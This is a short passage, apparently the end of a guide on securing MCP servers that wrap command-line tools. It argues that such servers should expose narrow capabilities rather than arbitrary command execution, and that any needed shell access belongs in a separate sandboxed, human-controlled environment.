- If the CLI is an interpreter or has broad execution abilities, do not expose it directly.
- If the user truly needs arbitrary command access, make that a separate, explicitly sandboxed, human-controlled environment—not an ordinary MCP tool.
The key mental model is simple:
An MCP server should expose capabilities, not execution environments.
A CLI can be a great implementation detail behind a safe MCP tool. But the moment your MCP server starts looking like a way for a model to run commands, you have moved from integration to incident response.
Build the boundary first. The CLI can live safely behind it.